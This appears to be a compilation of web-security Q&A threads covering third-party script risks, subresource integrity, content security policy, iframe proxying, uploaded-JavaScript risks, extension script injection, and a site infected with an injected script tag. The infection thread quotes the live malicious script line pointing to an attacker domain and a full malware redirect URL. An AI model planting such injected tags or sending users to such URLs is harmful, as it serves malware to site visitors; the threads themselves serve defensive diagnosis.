When you have all these various javascript files included on a page for various services like website analytics, click tracking etc., doesn't this create a huge security risk because using javascript they can hijack the persons credit card that is entered on the form?
How is this even considered to be safe currently?
Meaning, your server is security, your payment provider is secure, you have SSL, but if someone was to hack into any of these services people use (I see over 10+ services many sites use to track clicks, ad related, etc) then they can comprise your payment form.
Yes this is a security risk, known as a third party script include.
By including a script on your page hosted by a 3rd party, you are trusting that the external domain is not malicious nor compromised. By using a <script src="//example.com"> tag, the third party domain has full control of the DOM on your site. They can inject whatever JavaScript they wish.
You are right to be concerned. PageFair was recently compromised bringing down every site that it offered its analytics service to with it. You should verify all third party domains that you are referencing for script, and ensure you trust them. For example you are probably OK with the big guys such as Google and Facebook, however any others you should consider either dropping them or reviewing the script code and then hosting locally on your domain instead.
You can mitigate this with subresource integrity:
<script src="https://example.com/example-framework.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
This will ask the browser to check that the loaded script has the specified cryptographic hash. Any changes to the script, even as much as a single character, would produce a completely different hash enabling any changes to be detected and the script would be rejected from loading and running. As of August 2018, all major browsers support it except for IE and iOS Safari.
EDIT: As has been pointed out to me in the comments, you cannot solve all of your JavaScript security problems by downloading all of the resources over HTTPS, as I asserted in a previous version of this answer. Instead, that simply reduces the problem to how much your end user can safely trust the provider of the JavaScript itself - and if the service gets compromised or is an actively malicious organization, they can't.
There are two primary ways that hosts can solve this problem and make their JavaScript downloads more reliable for their users:
Where it doesn't make sense, don't include the JavaScript component at all. One thing you will notice on Amazon.com, for instance, is that while the normal shopping pages have header bars and are full of extra information and advertising and all that, the actual checkout page, where you enter your payment information, is almost blank - most of the styling and scripting is not included, and there are certainly no ads on the page.
If you need the component, but can host the script yourself, do so. That way, unless you yourself are compromised, you can be confident that any script being downloaded by the user is not, because you are providing it. For offline scripts that don't actively communicate with other services, this is often needed anyway for compatibility reasons, and many online scripts can also be included here without too much loss in functionality.
Related
I understand the best way would be not to have the external JS at all, but alas, it's not possible.
Situation
The owner of a site wants (no ifs/ands/orButs) to get paid by a company that offers gambling ads. This company states that in order for them to offer said ads the owner of the site must add a JS code to the site. Said JS code is a few lines, but essentially it creates a tag <script> and loads a minified external JS file located in the publicity company's server. They do different kinds of ads (pop-ups, etc) and some other things that require the code.
There's no discussing not going through with this, I wanted to know if there were any kind of layers of security I might be able to add in order to protect site viewers. I know they are still in danger, but there's not much else I can do.
Things to do
Copy the external JS file and serve it from site owner's server (or is that a horrible idea? The thing is, at least this way they can't be changing it to their heart's content, since it's in the site owner's server).
Not loading the JS file in any page that has Login forms.
Only load the JS file where the publicity will be shown.
Not load the JS file is user if signed in
Modify JS file so that it has its own scope (function(){})() .
Anything else I could possibly do? Or am I simply fooling myself in thinking I can offer some feeble protection?
There are a few ways that may allow you to secure your page with external scripts.
First create a content security policy. This basically tells the browser where it can load different types of content from so if the third party starts loading content from new sources without telling you first they will be blocked.
Secondly the script-src tag. This allows you to specify a hash of the script tag and if it changes the browser won't run it.
There is a much better write up on these and more on Troy Hunt blog specifically this page https://www.troyhunt.com/locking-down-your-website-scripts-with-csp-hashes-nonces-and-report-uri/
Things to do:
Use a CDN that supports versions (almost every modern CDNs supports that) so you don't need to host these JS files yourself, and you don't need to worry about the fact that the file might change.
Only run your JS on login pages
For ads, use iframe elements, so the JS code for ads can't access external information
Use Subresource Integrity (SRI) on script tags
Example with jQuery
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
As Karl Graham mentioned, use Content Security Policy (CSP) in an HTTP Header, so content can't leak.
Make sure to use SSL Certificates (HTTPS), and to encrypt content when you do AJAX/Fetch requests so even if an external script listens to FetchEvents, it won't be able to read the data.
I'm almost certain that if you follow these rules, your external script won't be able to get your form content.
I am looking for an approach to allow only whitelisted scripts to run within a sandboxed iframe. I was thinking of an iframe-sandbox directive that allows only whitelisted scripts to run within an iframe. The analogy is the script-src directive in the Content Security Policy.
The problem:
<iframe sandbox="allow-same-origin allow-scripts" src="https://app.thirdparty.com" width="100%" height="800" frameBorder="0"></iframe>
The app in the iframe provides valuable functionality for my website. However, it pulls in external resources that I would like to control (i.e., block), e.g., AnalyticsJavaScript.com and TrackingPixel.com. I would like to allow scripts from app.thirdparty.com but block AnalyticsJavaScript.com and TrackingPixel.com.
Any help appreciated.
The answer to this is unfortunately complicated. With the advent of iframe sandboxing the question seems simple enough, but the spec that you're looking for is very much a work in progress. Thus, if you want decent browser support, the issue devolves into how to modify an iframe's content, which usually involves some sort of proxy.
Content Security Policy
The spec you really need is the CSP. At its simplest, you would allow specific scripts with the iframe atribute csp="...".
<iframe ...
src=""
csp="script-src https://app.thirdparty.com/"
...></iframe>
Any scripts from domains not specified (i.e. tracking scripts as in the question) would not be allowed in the response. Note that limiting scripts to those from a specified source does rely on cooperation with the third party app's server. If the server does not inform the user agent that it will adhere to the CSP restrictions then the response will be blocked.
The CSP is still a working draft and may change in the future. As stated in the comments, Chrome 61 and Opera 48 have implemented the CSP spec, but at this stage there is no sign from Firefox, Edge or Safari that they will also implement it. Unless you can guarantee that your users will only be using a browser that supports the spec, the tracking scripts will still be present for a very large percentage of users.
The remaining suggestions all involve modifying the iframe's content to remove the offending scripts.
Reverse proxy
Creating a reverse proxy to block a couple of tracking scripts in an iframe is probably equivalent to using a nuclear warhead to light a camp fire as far as overkill goes. But, if you are able to configure your server to this extent, it is the most reliable and seamless method for iframe content injection/modification/blocking that I've found.
The Wikipedia page states:
A reverse proxy is a type of proxy server that retrieves resources on behalf of a client from one or more servers. These resources are then returned to the client, appearing as if they originated from the proxy server itself.
Because the reverse proxy is an intermediary between the third party app and your site, it can transparently modify the responses to remove the undesired scripts. I'll use Apache in this example, but your implementation really depends on what server you're already using.
You need a subdomain for the proxy that points to your server IP, e.g. proxywebapp.yourdomain.com. On your server you would then create a virtual host in httpd.conf that uses the Apache mod_proxy module. Within your virtual host configuration you would then substitute the script calls to AnalyticsJavaScript.com and TrackingPixel.com with blanks. If the third party app must use HTTPS then reverse proxying gets trickier as you need an SSL virtual host and a SSL certificate for the proxy's FQDN.
<VirtualHost *:*>
ServerName proxywebapp.yourdomain.com
ProxyPreserveHost On
ProxyPass "/" "http://app.thirdparty.com/"
ProxyPassReverse "/" "http://app.thirdparty.com"
# in case any URLs have the original domain hard coded
Substitute "s|app.thirdparty.com/|proxywebapp.yourdomain.com/|i"
# replace the undesired scripts with blanks
Substitute "s|AnalyticsJavaScript/| /|i"
Substitute "s|TrackingPixel/| /|i"
</VirtualHost>
Your iframe would then point to proxywebapp.yourdomain.com.
<iframe ... src="proxywebapp.yourdomain.com" ...></iframe>
Again: total overkill but should work transparently.
Proxy scripts
A third option to consider is implementing a proxy script on your server between the iframe and third party app. You would add functionality into the proxy script that searches for and removes the undesired scripts before they reach the iframe. Additionally the proxy means the iframe's content will validate the same-origin policy, thus you could instead remove the undesired content with JavaScript in the frontend, although this may not guarantee that the scripts won't run before they are removed. There are many proxy scripts available online for all manner of backends (PHP, Node.js etc. ad nauseum). You would likely install the script and add it as the iframe's src, something like <iframe ... src="proxy.php?https://app.thirdparty.com/" ...>.
Unless properly configured for all cases, the proxy may not correctly transfer data between the third party app and its parent server. Testing will be required.
Writing your own server side proxy to remove a couple of scripts from an iframe is probably a bit excessive.
If you can't access the backend, it is possible to scrape the web app's content using JavaScript and a CORS or JSONP web app, and modify it to remove the scripts. Essentially making your own proxy in JavaScript. Such web apps (Any Origin, All Origins, etc) allow you to bypass cross-domain policy restrictions, but because they are third party you can no longer assume any of the web app's data is private. The issue with correctly communicating any data transfer between the app and its parent server will still be present.
Summary
A widely supported pure frontend solution is not feasible at the moment. But there are many ways to skin a cat and perhaps even more ways to modify an iframe's content, regardless of cross-domain restrictions.
Content Security Policy does look promising and is exactly what you're asking for, but currently its lack of widespread support means it can only be used in very niche situations. A reverse proxy that modifies content may take a lot of configuring and in this situation is like driving a full size semi-trailer over a Hot Wheels track, but will likely operate seamlessly. Content modification from a forward proxy is somewhat simpler to implement, but may break communications with the third party app's parent server.
You can't do this the way you want (for now). As mentioned in comments CSP:EE is a thing yet to come.
However you can try proxying the request and removing the unnecessary scripts from the body on the server side or on the client side, e.g.:
1) Get the needed page via XMLHTTPRequest
2) Remove unwanted
3) Inject into iframe on the page
"Workability" of this method depends purely on external app functionality. I.e. it will not work if the aforementioned app needs registration/authorisation of the end user to work, however this can still be suitable for some simple cases.
P.S.: you can implement a workaround to make such thing work via browser extension, however I'm sure this is not what you want.
I am creating a website which allows users to make their website alive for a certain amount of time. It works like this:
user uploads a .zip file containing javascript/html/css/image.
filtering the files using whitelist to remove unallowed extensions>
a new subdomain will be made with a random name containing the unzipped files.
and the user now can view his design.
so what security issues may result due uploading javascript/html/css files?
All of the files are potential security hole. JavaScript, HTML and CSS files could be dangerous because all of them may have JavaScript code in them. By allowing people to upload files that contain JavaScript code you're letting them upload code that will be executed by visitors' browsers.
On modern browsers, embedding JavaScript code in CSS files isn't a real problem. But if you expect to support older browsers, such as IE6 or 7, then the CSS files are a potential security hole as well.
A common technique used by attackers is Cross-site scripting, or XSS. Basically, attackers inject JavaScript code on a website, by using a form or some low-security API that allows visitors to send information to the website. That JavaScript code may then be executed by all other users, and could steal sensitive information. Here's some more information on it: https://en.wikipedia.org/wiki/Cross-site_scripting
Now, because all websites reside in different subdomains, they actually have different origins, and thus the browser will prevent one website's JavaScript from fiddling with another website's cookies. This is called the Same origin policy, and its described in more detail here: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
Do bear in mind that one of these malicious JavaScript files could change its origin by running the following code:
document.domain = "yourdomain.com";
And that could be a potential threat.
Also, the Same origin policy has different behaviour on some browsers, such as Internet Explorer. It's ideal that you read the documentation on it for the most common web browsers.
I'm not very familiar with browser extensions and before I begin to deeply explore them I have a few questions.
Let's say the extension injects JavaScript in the current website the user is visiting (if that's even possible). That injected JavaScript code will get, let's say the current URL for example purposes, and send it and store it on a database. Next time the user visits the same website, the user will get an extension notification informing that is the second or third or X time he or she has visited the same website.
Now that I have gave you the scenario, is the following possible? Injecting JavaScript from a browser extension to the current visiting website. If so, can I make some AJAX communication with the JavaScript and a PHP server?
Yes, you can inject stuff. See e.g. Insert code into the page context using a content script and How to inject javascript into page, from a Firefox add-on, and run it? or one of the many dupes there likely are.
You can then use whatever communication would be available between the site and a server, e.g. XHR, WebSockets, JSONP.
Please also check the policies of the Chrome Web Store and Mozilla Add-ons site regarding content/code injection and privacy rules. E.g. the Mozilla Add-ons will reject your add-on if you injected remote scripts (meaning code that is not bundled, e.g. originating from e.g. http:) and may also reject your stuff if you track users without prior explicit user consent.
I am working on the site http://palacechemicals.co.uk/ which has somehow become infected with a malicious (but benign) line of JavaScript:
</title><script src=http://hgbyju.com/r.php ></script>
on the 251st line. The URL the script tries to load returns 404 but Google still has us on the malware list.
I have a clean, working local copy on another machine here and have compared file sizes of each folder both manually and with software and the two are the same. I have also searched the SQL used to import the data into MSSQL Server 2008 many times for various different strings including eval, script etc.
I am genuinely stumped and am out of ideas of what to look for next.
Has anyone else had this problem or could reccomend a next course of action?
Could it be the case that the hosting provider is somehow infected? We are on a shared hosting platform, however the host is rather large and reputable.
Any input would be greatly appreciated.
Thank you.
When I visit the site from Chrome, nothing happens. But when I visit it from Firefox, the script link does NOT return status 404. There is a malicious script which redirects me to "YouTube" with Emma Watson video.
That happened only once. The second time it's 404 again. I'll try to reproduce it from another IP address.
Here's where I got redirected:
http://www1.thebest-scanerjjn.it.cx/o9gzj2z?2nvq3n=Vtfn5per7tvJzNjp1VPozMWrmqicnZSi19quZpTVysfUosXIeJnP1KuXppuQ3aWr7edqlNbRyZ%2FH0rpzmdLQ36Ld09jkpOOc1JaruLOLy9WwrF2hmZSclqKhmJ9jopzkp8%2Fo3diflpnrltegl6eL5t7Wq2ufpqaYoqadl5KWmeigsJSUoZmrnJ%2BjZJ%2Bc1aLb1dHTn9zq62Ch1sLUyuLU2NOm5eXjnpzX19KI1NTZm%2Bugw9zH6eOQ4JfUs9mn4uSNmKOKpbpSpanRz9HTzc%2FRmtPj2pbP4NuTxdSh6ZiYlaeS
Don't go there. There's an executable file trying to get downloaded, and who knows what else.
So the script works, it doesn't always return 404. You should seriously check security with your site after you remove the malicious link.
Change all passwords;
In case you use a CMS, update it to the latest version;
If it is a self-developed website, audit it for SQL injections and other kinds of security breaches.
your site is vulnerable to SQLi, hence its getting infected again and again.
Regards
DeltaR
Without further information, I would guess that the simplest cause is likliest: your passwords have been compromised and the attacker has altered your script directly.
Correct the page/script with that line in it. This may mean reloading the entire site from your clean copy, just to be on the safe side -- and the attacker may have a script which alters files on the fly.
Change all your administration passwords, using strong passwords.
[I've always used strong passwords, but have had at least one site used as a fileserver. The attacker didn't change anything of mine, but could have done. Deleting their content and changing the passwords seems to have fixed that for the moment.]
Instead of searching for clear text, you should search for HTML entities in decimal and hex.
For instance:
script is hex for script
<> is hex for <>
If you are using WebForms with .NET 3.5 and not properly sanitizing your input strings, there is a huge chance of script injection. If you have turned off request validation on any page, you should test those pages against alternative inputs like these.
Personally, I'd look at all data-driven inputs on your infected pages and scan that data for html entities, not just common words like eval and script.
edit: The html entity should always begin with &#, which should make it easier to search than finding keywords in hex, decimal, unicode, etc.
Could it be the case that the hosting provider is somehow infected? We are on a shared hosting platform, however the host is rather large and reputable.
Read the Chrome malware diagnostic for your site. If you click on the link in the diagnostic to AS15418 (FASTHOSTS), it shows the hosting service has lots of sites infected:
What happened when Google visited sites hosted on this network?
Of the 45254 site(s) we tested on this network over the past 90 days, 885 site(s), including, for example, lalydesign.co.uk/, consolegaming.eu/, nimbiz.com/, served content that resulted in malicious software being downloaded and installed without user consent.
The last time Google tested a site on this network was on 2012-04-23, and the last time suspicious content was found was on 2012-04-23.
...
Has this network hosted sites that have distributed malware?
Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 35 site(s), including, for example, hipsxpress.co.uk/, qpscars.co.uk/, aroundbritain.co.uk/, that infected 58 other site(s), including, for example, meb.gov.tr/, opes.go.th/, stephenbrowning.co.uk/.
My guess is you should put pressure on them (edit) to plug the security problems, or change hosting services.
Lot of sites has been compromised by this attack. Cybercriminals targeting the vulnerable ASP sites.
Hackers injected this code in your site by exploiting the SQL Injection vulnerability in your site.
Security Tips:
Analyzing the code: check the source code all pages in your site. Don't simply search for the script, read each lines. Find the
suspicious code and remove it (make sure it is not your code).
Note: some scripts may be encoded, so check the code carefully.
Files in your directory: Check for any suspicious file in your hosting directory.
Patch the Vulnerability: Hackers injected this code by exploiting the SQLi vulnerability. So try to find the vulnerable part in your
site and fix it. If you don't know how to do this, then hire a
Security expert. Also you can you use some automatic sqli scanners to
find vulnerability(but it is not 100% accurate).
Change the password: Once you patch the vulnerability, then change the password of your hosting,ftp,mysql. If you use same password
anywhere else, then change their also.
Info:
The above injection is popularly known as Nikjju attack.The details can be found here:
Nikjju Sql Injection attack &malicious domains.